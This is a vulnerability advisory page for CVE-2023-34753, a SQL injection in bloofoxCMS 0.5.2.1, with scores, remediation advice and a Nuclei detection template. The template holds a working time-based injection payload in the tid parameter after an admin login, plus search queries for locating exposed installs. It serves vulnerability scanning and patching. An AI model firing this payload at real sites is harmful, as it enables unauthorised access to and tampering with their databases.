SecurityContext

CVE-2023-34753: bloofoxCMS v0.5.2.1 - SQL Injection

Classification

  • Cwe: CWE-89
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.04228
  • Epss percentile: 0.91255
  • Cpe: cpe:2.3:a:bloofox:bloofoxcms:0.5.2.1:*:*:*:*:*:*:*

Metadata

  • Fofa-query: Powered by bloofoxCMS, powered by bloofoxcms
  • Max-request: 2
  • Product: bloofoxcms
  • Vendor: bloofox
  • Verified: true

Products

ProductIndexedUrl
bloofox:bloofoxcmsyes/v1/products/bloofox/bloofoxcms

Labels

  • Name: bloofox - SQL Injection
  • Impact: Attackers can execute arbitrary SQL commands, potentially leading to data leakage, modification, or deletion.
  • Remediation: Update to the latest version of bloofox or apply security patches that sanitize 'tid' parameter.
  • Vulnerability type: sql_injection
  • Vulnerability impact: information_disclosure, data_tampering
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2023-34753
  • Not known: requirements

```yaml

id: CVE-2023-34753

info:

name: bloofoxCMS v0.5.2.1 - SQL Injection

author: theamanrawat

severity: critical

description: |

bloofox v0.5.2.1 was discovered to contain a SQL injection vulnerability via the tid parameter at admin/index.php?mode=settings&page=tmpl&action=edit.

impact: |

Authenticated attackers can exploit SQL injection through the tid parameter in the template settings page to extract database contents, manipulate CMS data, and potentially execute commands on the underlying database server.

remediation: |

Update bloofoxCMS to a version newer than 0.5.2.1 that uses parameterized queries or prepared statements for the tid parameter in admin/index.php template editing functionality.

reference:

- https://www.bloofox.com

- https://ndmcyb.hashnode.dev/bloofox-v0521-was-discovered-to-contain-many-sql-injection-vulnerability

- https://nvd.nist.gov/vuln/detail/CVE-2023-34753

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2023-34753

cwe-id: CWE-89

epss-score: 0.04228

epss-percentile: 0.91255

cpe: cpe:2.3:a:bloofox:bloofoxcms:0.5.2.1:*:*:*:*:*:*:*

metadata:

verified: "true"

max-request: 2

vendor: bloofox

product: bloofoxcms

fofa-query:

- "Powered by bloofoxCMS"

- powered by bloofoxcms

tags: time-based-sqli,cve,cve2023,sqli,bloofox,authenticated,vuln

http:

- raw:

- |

POST /admin/index.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

username={{username}}&password={{password}}&action=login

- |

@timeout: 10s

POST /admin/index.php?mode=settings&page=tmpl&action=edit HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

name=default&template=default.html&css=default.css&template_print=print.html&template_print_css=print.css&template_login=login.html&template_text=text.html&be=0&tid='+AND+(SELECT+7401+FROM+(SELECT(SLEEP(6)))hwrS)--+&send=Save

matchers-condition: and

matchers:

- type: dsl

dsl:

- duration>=6

- contains(header_2, "text/html")

- contains(body_2, 'bloofoxCMS Admincenter')

condition: and

digest: 490a00463044022036720781e94f14f9cb384336cf250ac42f8b8015a6c863a46ffd144d47689cc302207a3c44dd67c8802f534a6e57d624baf4a43df2cbe48ec85c14f59f376f6bea93:922c64590222798bb761d5b6d8e72950

```